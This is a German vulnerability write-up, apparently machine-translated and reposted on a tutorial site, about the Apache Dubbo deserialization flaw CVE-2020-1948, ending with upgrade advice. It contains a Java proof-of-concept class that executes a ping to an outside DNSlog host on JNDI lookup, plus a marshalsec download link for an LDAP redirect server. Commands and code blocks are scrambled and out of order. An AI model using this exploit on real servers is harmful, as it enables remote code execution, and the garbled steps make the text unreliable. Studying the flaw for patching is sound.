So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo

WBOY
Freigeben: 2023-05-17 16:01:22
nach vorne
1042 Leute haben es durchsucht

Einführung

Dubbo ist ein leistungsstarkes und exzellentes Service-Framework von Alibaba, das es Anwendungen ermöglicht, Service-Ausgabe- und Eingabefunktionen über Hochleistungs-RPC zu realisieren, und das nahtlos in das Spring-Framework integriert werden kann. Das System verfügt über drei Kernfunktionen, darunter den Aufruf von Remote-Schnittstellenmethoden, intelligente Fehlertoleranz und Lastausgleich sowie die automatische Registrierung und Erkennung von Diensten.

Übersicht

Am 23. Juni 2020 veröffentlichte Apache Dubbo offiziell einen Risikohinweis für die Remotecodeausführung von Apache Dubbo. Die Schwachstellennummer lautet CVE-2020-1948 und die Schwachstellenstufe ist: hohes Risiko. Apache Dubbo ist ein leistungsstarkes, leichtes Open-Source-Java-RPC-Framework, das drei Kernfunktionen bietet: schnittstellenorientierter Remote-Methodenaufruf, intelligente Fehlertoleranz und Lastausgleich sowie automatische Dienstregistrierung und -erkennung. Der Apache Dubbo Provider weist eine Deserialisierungsschwachstelle auf. Ein Angreifer kann über RPC-Anfragen unbekannte Dienstnamen oder Methodennamen und einige schädliche Parameter-Payloads senden.

Betroffene Versionen

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (offiziell nicht mehr gewartet)

Umgebungseinrichtung

Die JDK-Versionen der Laufumgebung und der Kompilierungs-Exp-Umgebung sind beide 8u121 , Starten Sie die Testumgebung

java -jar dubbo.jar
Nach dem Login kopieren


Nach dem Start wird Port 12345 abgehört kann ausgeführt werden und ein neues calc.java erstellen,

PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
Nach dem Login kopieren

Poc kompilieren

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
Nach dem Login kopieren

Legen Sie den kompilierten POC (calc.class) in das Web-Website-Verzeichnis, um sicherzustellen, dass der anfällige Host darauf zugreifen kann. Verwenden Sie das Marshalsec-Projekt, um einen LDAP-Proxy-Dienst zu starten und Marshalsec herunterzuladen:


Starten Sie den LDAP-Proxy-Dienst und der LDAP-Dienst überwacht Port 8086


javac calc.java
Nach dem Login kopieren


Führen Sie den Test aus Skript. DNSlog-Ansicht, Anfrage erfolgreich empfangen

LDAP-Dienst kann auch die Anfrageweiterleitung sehen


Bombenrechner

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Nach dem Login kopieren

Fehlerbehebung

Upgrade auf Version 2.7.7 und Durchführung der Parameterüberprüfung gemäß der Methode des folgenden Links

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

Ersatzprotokoll und Deserialisierungsmethode.

Das obige ist der detaillierte Inhalt vonSo analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage